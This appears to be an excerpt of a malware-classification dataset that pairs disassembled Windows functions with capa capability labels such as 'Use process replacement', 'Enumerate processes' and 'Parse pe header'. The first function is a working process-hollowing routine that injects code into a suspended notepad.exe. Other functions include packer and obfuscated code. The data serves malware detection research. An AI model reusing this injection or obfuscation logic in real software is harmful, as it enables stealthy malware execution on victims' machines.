joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400064fa
Capabilities:
Use process replacement

Disassembly:
push r12
mov eax, 0x1110
push rbp
push rdi
push rsi
push rbx
call fcn.140011260
sub rsp, rax
xor ebx, ebx
xor r9d, r9d
xor r8d, r8d
mov eax, ebx
mov rsi, rcx
mov ecx, 0x1a
lea rdi, [rsp + 0xa8]
mov rbp, rdx
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x60]
mov ecx, 6
mov dword [rsp + 0x54], 0
rep stosd dword [rdi], eax
lea rdi, [rsp + 0x78]
mov ecx, 0xc
lea rdx, str.c:windows_system32_notepad.exe
rep stosd dword [rdi], eax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], 0
lea rdi, [rsp + 0x120]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
lea rax, [rsp + 0x54]
mov rcx, qword [rsp + 0x60]
xor edx, edx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x78]
mov r9d, 0x30
call sub.ntdll.dll_NtQueryInformationProcess
mov rcx, qword [rsp + 0x60]
lea r8, [rsp + 0x58]
mov rax, qword [rsp + 0x80]
mov r12, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov r9d, 8
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x20], 0
lea rdx, [rax + 0x10]
call r12
mov eax, ebx
mov ecx, 0x3fc
mov rdx, qword [rsp + 0x58]
rep stosd dword [rdi], eax
lea r8, [rsp + 0x110]
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x20], 0
mov r9d, 0x1000
mov qword [rsp + 0x118], 0
call r12
mov rcx, qword [rsp + 0x60]
mov r9, rbp
mov r8, rsi
movsxd rax, dword [rsp + 0x14c]
mov edx, dword [rsp + rax + 0x138]
add rdx, qword [rsp + 0x58]
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
xor eax, eax
add rsp, 0x1110
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [0x140034140]
movsxd rdx, dword [rax]
mov rax, qword [0x140034130]
mov rcx, qword [rax]
jmp 0x140006330
sub rsp, 0x28
call fcn.1400064ca
nop
add rsp, 0x28
jmp 0x1400064df

Function at 0x14000ffe0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call fcn.140017b50
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call fcn.140017b50
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
Function at 0x140010c12
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14003f388]
test eax, eax
je 0x140010caa
lea rax, [0x14003f360]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14003f390]
mov qword [rbp - 8], rax
jmp 0x140010c8e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140010c82
cmp qword [rbp - 0x10], 0
je 0x140010c82
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140010c48
lea rax, [0x14003f360]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x140010cab
nop
add rsp, 0x30
pop rbp
ret

Function at 0x140010db0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140010dd8
mov eax, 0
jmp 0x140010e26
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140010e01
mov eax, 0
jmp 0x140010e26
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140010e21
mov eax, 0
jmp 0x140010e26
mov eax, 1
add rsp, 0x20
pop rbp
ret

Function at 0x140010e2c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x140010eaa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x140010ea1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x140010ea1
mov rax, qword [rbp - 8]
jmp 0x140010ebf
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x140010e74
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140018f94
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
cmp qword [rbp + 0x10], 0
je 0x1400190de
mov rcx, qword [rbp + 0x10]
call fcn.14001d56d
cmp eax, 1
jne 0x1400190d1
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
movabs rax, 0x6b5f6e6970732070
movabs rdx, 0x20726f6620737965
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
movabs rax, 0x20646165726874
mov edx, 0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x30], 0
mov qword [rbp - 0x28], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x10], 0
mov word [rbp - 8], 0
mov byte [rbp - 6], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov ecx, eax
lea rax, [rbp - 0x70]
add rax, 0x27
mov r8d, 0xa
mov rdx, rax
mov rax, qword [sym.imp.msvcrt.dll__ultoa]
call rax
mov dword [rbp - 4], 0x27
jmp 0x140019087
add dword [rbp - 4], 1
mov eax, dword [rbp - 4]
cdqe
movzx eax, byte [rbp + rax - 0x70]
test al, al
je 0x14001909d
mov eax, dword [rbp - 4]
cmp eax, 0x69
jbe 0x140019083
mov eax, dword [rbp - 4]
cmp eax, 0x69
ja 0x1400190bc
mov eax, dword [rbp - 4]
cdqe
mov byte [rbp + rax - 0x70], 0xa
mov eax, dword [rbp - 4]
add eax, 1
cdqe
mov byte [rbp + rax - 0x70], 0
lea rax, [rbp - 0x70]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rax
call sub.msvcrt.dll_abort
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rax], rdx
jmp 0x1400190df
nop
add rsp, 0x90
pop rbp
ret
Function at 0x14001a2d5
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xffffffffffffffff
lea rax, [0x14001a0fb]
mov rdx, rax
lea rax, [0x14003fe10]
mov rcx, rax
call fcn.140019706
mov eax, dword [0x140026530]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x14001a328
mov rax, qword [rbp - 0x10]
jmp 0x14001a488
call fcn.140018e70
mov qword [rbp - 0x10], rax
mov rax, qword [0x140042050]
test rax, rax
je 0x14001a344
cmp qword [rbp - 0x10], 0
jne 0x14001a34e
mov eax, 0
jmp 0x14001a488
mov rax, qword [rbp - 0x10]
mov dword [rax + 0x44], 1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0x70], eax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov rdx, qword [rbp - 0x10]
mov qword [rdx + 0x30], rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x38], 0xffffffffffffffff
mov rax, qword [rbp - 0x10]
lea rcx, [rax + 0x68]
mov rax, qword [rbp - 8]
mov rdx, rax
call fcn.140018f94
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xb8], 0
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
lea rdi, [rax + 0x28]
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rsi, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rbx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DuplicateHandle]
call rax
test eax, eax
jne 0x14001a429
call sub.msvcrt.dll_abort
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadPriority]
call rax
mov rdx, qword [rbp - 0x10]
mov dword [rdx + 0xc0], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 0
mov rax, qword [rbp - 0x10]
movzx edx, byte [rax + 0x40]
and edx, 0xffffffcf
or edx, 0x10
mov byte [rax + 0x40], dl
mov eax, dword [0x140026530]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
test eax, eax
jne 0x14001a484
call sub.msvcrt.dll_abort
mov rax, qword [rbp - 0x10]
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
Function at 0x14001a582
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 0x10], 0
mov rax, qword [rbp + 0x10]
mov dword [rbp - 4], eax
call fcn.14001a2d5
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp + 0x10]
mov qword [rax + 8], rdx
mov rax, qword [rbp - 0x18]
mov rax, qword [rax + 0x1d8]
mov rcx, rax
call fcn.14001a129
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax + 0x40]
and eax, 0x30
test al, al
jne 0x14001a5ef
mov rax, qword [rbp - 0x18]
add rax, 0xd0
mov edx, 1
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll_longjmp]
call rax
mov eax, dword [0x140026530]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x14001a733
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
test rax, rax
jne 0x14001a68c
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x14001a647
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.140018d4c
mov qword [rbp - 0x10], 0
mov eax, dword [0x140026530]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
jmp 0x14001a733
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 8]
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov dword [rax + 0xbc], 1
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
test rax, rax
je 0x14001a6c6
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x30], 0
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x44]
and eax, 4
test eax, eax
je 0x14001a733
mov rax, qword [rbp - 0x10]
mov dword [rax], 0xdeadbeef
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov qword [rax + 0x28], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call fcn.140018d4c
mov qword [rbp - 0x10], 0
mov eax, dword [0x140026530]
mov rdx, qword [rbp - 0x10]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsSetValue]
call rax
mov eax, dword [rbp - 4]
mov ecx, eax
mov rax, qword [sym.imp.msvcrt.dll__endthreadex]
call rax
nop
Function at 0x1400259c0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x1400254a5
call fcn.140025400
movabs rax, 0xb8b1aabcbcd4d500
add rax, qword [rbx]
cmp rax, 1
jbe 0x1400254aa
call fcn.1400252e0
mov rcx, qword [rbx - 0x38]
call fcn.140023a60
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push r14
push r13
push r12
push rsi
push rbx
sub rsp, 0x50
mov rbx, rcx
call fcn.140025400
mov rax, qword [rbx - 0x10]
mov rcx, qword [rbx - 0x40]
mov r13, qword [rbx - 0x18]
movsxd rsi, dword [rbx - 0x24]
mov qword [rsp + 0x30], rax
mov r12, qword [rbx - 0x38]
call fcn.140023a80
mov rcx, rax
jmp 0x1400258e0
call fcn.140025400
call fcn.140025660
mov rbx, qword [rax]
test byte [rbx + 0x50], 1
je 0x140025967
mov rbx, qword [rbx]
lea r14, [rsp + 0x20]
mov rdx, r13
xor ecx, ecx
mov r8, r14
call fcn.1400235e0
mov rdx, qword [rbx - 0x90]
mov r9, rsi
mov r8, rbx
mov rcx, r14
call fcn.1400236d0
test al, al
jne 0x140025985
lea r13, [0x140034a70]
mov r9, rsi
xor r8d, r8d
mov rcx, r14
mov rdx, r13
call fcn.1400236d0
test al, al
je 0x14002598a
mov ecx, 8
call fcn.140025390
lea r8, [0x140024e70]
mov rdx, r13
mov rcx, rax
mov rax, qword [0x140033f40]
add rax, 0x10
mov qword [rcx], rax
call fcn.140025720
add rbx, 0x90
jmp 0x1400258f6
call fcn.1400256d0
mov rcx, r12
call fcn.140023a60
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call sub.msvcrt.dll_abort
mov rcx, rax
call fcn.140025400
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov rcx, rax
mov rax, rdx
sub rax, 1
jne 0x140025a3c
call fcn.140025400
mov rcx, rax
mov rax, qword [rax]
call qword [rax + 0x10]
mov ecx, 2
mov r12, rax
call rbx
mov r9, rax
mov r8d, 0xb
mov edx, 1
lea rcx, str.__what__:
call sub.msvcrt.dll_fwrite
mov ecx, 2
call rbx
mov rdx, rax
mov rcx, r12
call sub.msvcrt.dll_fputs
mov ecx, 2
call rbx
mov rdx, rax
mov ecx, 0xa
call sub.msvcrt.dll_fputc
call fcn.140025530
call sub.msvcrt.dll_abort
mov rcx, r13
call fcn.140017418
call fcn.1400256d0
call fcn.140025400
call fcn.140025530
jmp 0x140025a2a
Function at 0x100f48d60
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x100f48d6d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x100f48d7d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x100f48d65
lea eax, [rcx + 1]
jmp 0x100f48d8b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x100f48d9e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x100f48d84
sub eax, 3
jb 0x100f48dbe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x100f48e0d
sar eax, 1
movsxd rbp, eax
jb 0x100f48df4
jmp 0x100f48dcc
add ebx, ebx
jne 0x100f48dca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100f48df4
inc ecx
add ebx, ebx
jne 0x100f48dda
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x100f48df4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x100f48ded
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x100f48ddc
add ecx, 2
jmp 0x100f48df9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.100f48d22
jmp 0x100f48d6d
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xf44000]
mov eax, dword [rdi]
or eax, eax
je 0x100f48e69
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xf5c10c]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x100f48e19
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x100f48e63
mov qword [rbx], rax
add rbx, 8
jmp 0x100f48e39
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
mov byte [fcn.100f48eec], 0xfc
lea rcx, [rsi - 0x1000]
push 1
pop rdx
xor r8, r8
push rax
call fcn.100f48eec
pop rax
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x100f48edc
sub rsp, 0xffffffffffffff80
jmp 0x1000031c0
Function at 0x140001760
Capabilities:
Encrypt data using speck

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rcx, [0x1400076f0]
jmp fcn.14002b01e

Function at 0x140001a48
Capabilities:
Access pe header
Resolve function by parsing pe exports

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x78
lea rcx, [0x1400076f0]
jmp fcn.140011ecd

Function at 0x140001fc8
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400076f0]
jmp loc.14003d292

Function at 0x1400024cc
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x100
lea rcx, [0x1400076f0]
jmp loc.140037ecf

Function at 0x140002720
Capabilities:
Create thread

Disassembly:
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x100
lea rcx, [0x1400076f0]
jmp loc.14002eb0d

Function at 0x140003ccc
Capabilities:
Complete processing asynchronous io request

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
lea rcx, [0x1400076f0]
jmp loc.14001afde

Function at 0x140003ec4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x550
lea rcx, [0x1400076f0]
jmp 0x140005fe0
cmc
cmp bl, 5
cmc
bt rcx, rax
nop
clc
mov dword [rsp + 0x24], 0
jmp loc.140026359

Function at 0x14000534c
Capabilities:
Access pe header
Authenticate hmac
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x100
lea rcx, [0x1400076f0]
jmp loc.14002d6f2

Function at 0x140005908
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
lea rcx, [0x1400076f0]
jmp loc.14001d191

Function at 0x140005a7c
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
lea rcx, [0x1400076f0]
jmp loc.14002bdcc

Function at 0x140006da4
Capabilities:
Enumerate processes via ntquerysysteminformation
Get system information on windows

Disassembly:
bswap r8w
ror dh, 1
dec r8d
rcl r8d, cl
nop
ror r8w, cl
xadd rdx, r8
mov dword [rsp + 0x28], 0
inc r8w
movsx r8, bl
mov qword [rsp + 0x38], 0
bt si, 5
mov qword [rsp + 0x30], 0
shr r8w, cl
sbb r8w, 0x6a1e
cmc
xor r8w, 0x11ef
mov r8d, dword [0x140009080]
dec dl
btc dx, 7
sbb edx, 0x40c944aa
cmp rbx, 0xffffffffd042ad10
mov edx, 0xa
jmp loc.140035b08
mov qword [rsp + 8], rcx
sub rsp, 0x68
lea rcx, [0x1400076f0]
jmp 0x140006440

Function at 0x14000b000
Capabilities:
Link function at runtime on windows
Link many functions at runtime
Parse pe header

Disassembly:
sub rsp, 0x1d8
lea rcx, [0x14000fd60]
jmp fcn.14006fad4
Function at 0x14000bac4
Capabilities:
Check http status code
Create device object
Link function at runtime on windows
Link many functions at runtime
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x1d8
lea rcx, [0x14000fd60]
jmp loc.1400461a9

Function at 0x14000c5ec
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
lea rcx, [0x14000fd60]
jmp loc.1400717fd

Function at 0x14000cb88
Capabilities:
Map section object

Disassembly:
sub rsp, 0x128
lea rcx, [0x14000fd60]
jmp loc.140056877

Function at 0x14000d2b0
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x98
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x80], 0
mov dword [rsp + 0x4c], 0
mov dword [rsp + 0x30], 0xc0000001
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
movzx eax, word [rax + 6]
mov dword [rsp + 0x4c], eax
cmp dword [rsp + 0x4c], 0
jbe 0x14000d790
mov rax, qword [rsp + 0x80]
add rax, 0x108
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x4c]
dec eax
mov eax, eax
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x14000d781
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x14000d781
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x2000000
test eax, eax
je 0x14000d395
mov dword [rsp + 0x70], 0
jmp 0x14000d39d
mov dword [rsp + 0x70], 1
cmp dword [rsp + 0x70], 0
je 0x14000d781
lea rcx, [0x14000fd60]
jmp 0x140073b0c
mov eax, dword [rsp + 0x4c]
dec eax
mov dword [rsp + 0x4c], eax
jmp 0x14000d316
mov rax, qword [rsp + 0xb0]
cmp qword [rax], 0
je 0x14000d7be
mov rax, qword [rsp + 0xb8]
cmp qword [rax], 0
je 0x14000d7be
mov rax, qword [rsp + 0xc0]
cmp qword [rax], 0
je 0x14000d7be
xor eax, eax
jmp 0x14000d7c3
mov eax, 0xc0000001
add rsp, 0x98
ret
Function at 0x14000d7d4
Capabilities:
Access pe header

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x48], 0
mov dword [rsp + 0x30], 0xc0000001
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.ntoskrnl.exe_RtlImageNtHeader]
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
movzx eax, word [rax + 6]
mov dword [rsp + 0x48], eax
cmp dword [rsp + 0x48], 0
jbe 0x14000dbe3
mov rax, qword [rsp + 0x70]
add rax, 0x108
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x48]
dec eax
mov eax, eax
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x38]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x20000000
test eax, eax
je 0x14000dbd4
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x40000000
test eax, eax
je 0x14000dbd4
mov rax, qword [rsp + 0x38]
mov eax, dword [rax + 0x24]
and eax, 0x2000000
test eax, eax
je 0x14000d8ad
mov dword [rsp + 0x60], 0
jmp 0x14000d8b5
mov dword [rsp + 0x60], 1
cmp dword [rsp + 0x60], 0
je 0x14000dbd4
lea rcx, [0x14000fd60]
jmp 0x14008214d
mov eax, dword [rsp + 0x48]
dec eax
mov dword [rsp + 0x48], eax
jmp 0x14000d831
mov rax, qword [rsp + 0xa0]
cmp qword [rax], 0
je 0x14000dc03
mov rax, qword [rsp + 0xa8]
cmp qword [rax], 0
je 0x14000dc03
xor eax, eax
jmp 0x14000dc08
mov eax, 0xc0000001
add rsp, 0x88
ret